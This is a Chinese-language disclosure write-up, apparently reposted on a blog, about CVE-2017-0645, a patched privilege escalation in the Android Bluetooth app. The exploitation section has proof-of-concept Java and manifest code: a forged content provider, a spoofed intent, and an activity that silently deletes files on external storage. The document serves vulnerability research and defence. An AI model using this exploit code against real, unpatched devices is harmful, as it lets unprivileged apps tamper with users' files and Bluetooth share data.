蓝牙App漏洞系列分析之三CVE-2017-0645

2019-04-04 约 520 字 预计阅读 3 分钟

声明:本文 【蓝牙App漏洞系列分析之三CVE-2017-0645】 由作者 heeeeen 于 2017-06-27 02:30:00 首发 先知社区 曾经 浏览数 12744 次

感谢 heeeeen 的辛苦付出!

0x01 漏洞简介

​ Android 6月的安全公告,同时还修复了我们发现的一个蓝牙App提权中危漏洞,该漏洞允许手机本地无权限的恶意程序构造一个仿冒的Provider,并获取Provider所指向文件的读写权限,可用于写SD卡或者蓝牙共享数据库,漏洞详情如下:

  • CVE: CVE-2017-0645
  • BugID: A-35310991
  • 严重性: 中危
  • 漏洞类型: 提权
  • Updated AOSP versions: 6.0.1, 7.0, 7.1.1, 7.1.2

0x02 漏洞分析

​ 该漏洞其实是一个常规的Android组件暴露漏洞,跟我们上一个分析的蓝牙漏洞一样,我们知道在蓝牙App中BluetoothOppLauncherActivity是可以被第三方应用启动的。这一次,我们来看onCreate函数中传入Intent action为android.btopp.intent.action.OPEN的处理流程。

} else if (action.equals(Constants.ACTION_OPEN)) {
            Uri uri = getIntent().getData();
            if (V) Log.v(TAG, "Get ACTION_OPEN intent: Uri = " + uri);

            Intent intent1 = new Intent();
            intent1.setAction(action);
            intent1.setClassName(Constants.THIS_PACKAGE_NAME, BluetoothOppReceiver.class.getName());
            intent1.setDataAndNormalize(uri);
            this.sendBroadcast(intent1);
            finish();

​ 转到BluetoothOppReceiver进行处理。接着查看BluetoothOppReceiver的onReceive函数,由于Intent可控,这里蓝牙App将会取出intent中的Data进行数据库查询,然后取出transInfo,最后进入BluetoothOppUtility.openReceivedFile函数。

} else if (action.equals(Constants.ACTION_OPEN) || action.equals(Constants.ACTION_LIST)) {
            if (V) {
                if (action.equals(Constants.ACTION_OPEN)) {
                    Log.v(TAG, "Receiver open for " + intent.getData());
                } else {
                    Log.v(TAG, "Receiver list for " + intent.getData());
                }
            }

            BluetoothOppTransferInfo transInfo = new BluetoothOppTransferInfo();
            Uri uri = intent.getData();  //Intent可控!
            transInfo = BluetoothOppUtility.queryRecord(context, uri);
            if (transInfo == null) {
                Log.e(TAG, "Error: Can not get data from db");
                return;
            }

            if (transInfo.mDirection == BluetoothShare.DIRECTION_INBOUND
                    && BluetoothShare.isStatusSuccess(transInfo.mStatus)) {
                // if received file successfully, open this file
                // transInfo可控!
                BluetoothOppUtility.openReceivedFile(context, transInfo.mFileName,
                        transInfo.mFileType, transInfo.mTimeStamp, uri);
                BluetoothOppUtility.updateVisibilityToHidden(context, uri);
            } else {
                Intent in = new Intent(context, BluetoothOppTransferActivity.class);
                in.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                in.setDataAndNormalize(uri);
                context.startActivity(in);
            }

​ 在openReceivedFile函数中,我们看到蓝牙App最终将在授予读写权限后,启动能够处理transInfo.mFileType文件类型的某外部App的Activity,对transInfo.mFileName进行处理。

public static void openReceivedFile(Context context, String fileName, String mimetype,
            Long timeStamp, Uri uri) {
        if (fileName == null || mimetype == null) {
            Log.e(TAG, "ERROR: Para fileName ==null, or mimetype == null");
            return;
        }

        File f = new File(fileName); //fileName可控
        if (!f.exists()) {
        ...
        // skip
       }

       // path受限于com.google.android.bluetooth.fileprovider使用的位置

        Uri path = FileProvider.getUriForFile(context,
                       "com.google.android.bluetooth.fileprovider", f);

        // If there is no scheme, then it must be a file
        if (path.getScheme() == null) {
            path = Uri.fromFile(new File(fileName));
        }

        if (isRecognizedFileType(context, path, mimetype)) {
            Intent activityIntent = new Intent(Intent.ACTION_VIEW);
            activityIntent.setDataAndTypeAndNormalize(path, mimetype);

            List<ResolveInfo> resInfoList = context.getPackageManager()
                .queryIntentActivities(activityIntent,
                        PackageManager.MATCH_DEFAULT_ONLY);

            // 注意这段,授予任何app对该文件的读写权限
            // Grant permissions for any app that can handle a file to access it
            for (ResolveInfo resolveInfo : resInfoList) {
                String packageName = resolveInfo.activityInfo.packageName;
                context.grantUriPermission(packageName, path,
                        Intent.FLAG_GRANT_WRITE_URI_PERMISSION |
                        Intent.FLAG_GRANT_READ_URI_PERMISSION);
            }

            activityIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
            // 授予activity对该文件的读写权限
            activityIntent.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
            activityIntent.setFlags(Intent.FLAG_GRANT_WRITE_URI_PERMISSION);

            try {
                if (V) Log.d(TAG, "ACTION_VIEW intent sent out: " + path + " / " + mimetype);
                context.startActivity(activityIntent);

​ 由于Intent可控,Intent Data可控,transInfo可控,再加上启动的外部App被授予了读写权限,因此这里存在漏洞,我们可以伪造一个文件让蓝牙App启动某外部App打开,同时该外部App获得对伪造文件指向位置的读写权限。可惜此处伪造的文件位置受限于com.android.bluetooth.filepovider,其file_paths.xml使用的external-path,这意味着我们只能伪造一个外部存储/sdcard目录的文件。

0x03 漏洞利用

​ 漏洞利用可如下图所示,这种攻击发送intent的过程像极了飞去来器。恶意App发送intent过后,又回到了自己手中,但却获得了提权。

  1. 恶意App声明能对某种filetype进行处理
<activity android:name=".FakeViewActivity">
            <intent-filter>
                <action android:name="android.intent.action.VIEW" />
                <category android:name="android.intent.category.DEFAULT" />
                <data android:mimeType="xxx/yyy" />
            </intent-filter>
        </activity>
  1. 构造一个虚假的bluetooth share provider——FakeBluetoothOppProvider,传入intent data之中。主要内容可以参考BluetoothOppProvider,其Uri为
content://fake.bluetooth.provider/btopp/

​ 并expose出来

<provider
            android:authorities="fake.bluetooth.provider"
            android:name=".FakeBluetoothOppProvider"
            android:exported="true" />

​ 然后填入内容,指向/sdcard中某个已知文件,并传入Intent data, 启动BluetoothOppLauncherActivity

m_btnTest.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                Intent intent = new Intent();
                intent.setComponent(new ComponentName("com.android.bluetooth",
                        "com.android.bluetooth.opp.BluetoothOppLauncherActivity"));
                intent.setAction(Constants.ACTION_OPEN);
                intent.setData(Uri.parse("content://fake.bluetooth.provider/btopp/1"));
                startActivity(intent);

            }
        });

        m_btnAddFakeEntry = (Button)findViewById(R.id.add);
        m_btnAddFakeEntry.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                ContentValues values = new ContentValues();
                values.put(BluetoothShare._ID, 1);
                values.put(BluetoothShare.DIRECTION, BluetoothShare.DIRECTION_INBOUND);
               values.put(BluetoothShare.TOTAL_BYTES, 110000);
                values.put(BluetoothShare.CURRENT_BYTES,110000);
                values.put(BluetoothShare.TIMESTAMP, 111111);
                values.put(BluetoothShare.DESTINATION, "00:10:60:AA:36:F8");
                values.put(BluetoothShare._DATA, "/storage/emulated/0/CVE-2016-6762.apk");
               values.put(BluetoothShare.MIMETYPE, "xxx/yyy");

                values.put(BluetoothShare.USER_CONFIRMATION, 1);

                // when content provider is null, use insert or use update

                m_contentResolver.insert(BluetoothShare.CONTENT_URI, values);
               // m_contentResolver.update(BluetoothShare.CONTENT_URI, values, "_id = 12", null);

            }
        });
  1. 蓝牙App取出我们构造的filename, filetype;
  2. 蓝牙App授予读写权限,然后再启动恶意App进行处理;
  3. 恶意App直接删除/sdcard中的这个文件。
public class FakeViewActivity extends Activity {
    final static String TAG = "Bluz";

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        Intent intent = getIntent();
        String dir = intent.getDataString();
        Log.d(TAG, "dir is "+dir);
        Uri uri = intent.getData();
        ContentResolver cr = getContentResolver();
       Log.d(TAG, "Deleting "+ intent.getDataString() +" silently!");
        getContentResolver().delete(uri, null, null);
    }
}

​ 在上述整个过程中,恶意App并未申请SD卡写权限,因此这是一个提权漏洞。

​ 另外还有一种利用方式,是在Intent中直接传入蓝牙BluetoothOppProvider的uri,比如content://com.android.bluetooth.opp/btopp/1",从而获得对蓝牙共享数据库的读写权限。完成代码请见这里

0x04 漏洞修复

​ Google对该漏洞的修复主要有两点:

  1. 确保Intent data始终为BluetoothOppProvider的Uri,防止仿冒;
  2. 撤销了授予第三方应用的读写权限,只授予第三方应用某个Activity的读权限。

0x05 时间线

  • 2017.02.15: 漏洞提交
  • 2017.03.01: 漏洞确认,初始评级为高
  • 2017.03.23: 漏洞降级为中
  • 2017.06.01: 补丁发布
  • 2017.06.23: 漏洞公开

关键词:[‘技术文章’, ‘技术文章’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now